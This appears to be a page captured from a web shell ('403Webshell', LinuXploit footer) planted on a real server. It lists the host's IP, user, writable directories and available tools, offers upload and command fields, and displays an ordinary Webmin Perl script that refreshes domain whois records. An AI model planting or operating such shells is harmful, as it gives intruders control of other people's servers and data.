403Webshell
Server IP : 189.126.111.107  /  Your IP : 216.73.217.69
Web Server : Apache
System : Linux www.gadotticar.com.br 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User : gadotticar ( 1000)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/virtual-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/virtual-server/recollect_whois.cgi
#!/usr/bin/perl
# recollect_whois.cgi
# Refreshes given domains whois status

require './virtual-server-lib.pl';
&ReadParse();
my $domsstr = $in{'doms'};
if ($domsstr) {
	my @doms = split(" ", $domsstr);
	foreach my $dom (@doms) {
		$d = &get_domain_by('dom', $dom);
		next if (!$d);
		next if (!&can_edit_domain($d));
		my $now = time();
		my ($exp, $err) = &get_whois_expiry($d);
		$d->{'whois_next'} = $now + 7*24*60*60 + int(rand(24*60*60));
		$d->{'whois_last'} = $now;
		$d->{'whois_err'} = $err;
		$d->{'whois_expiry'} = $exp;
		&save_domain($d);
		}
	}
&redirect(&get_referer_relative());


Youez - 2016 - github.com/yon3zu
LinuXploit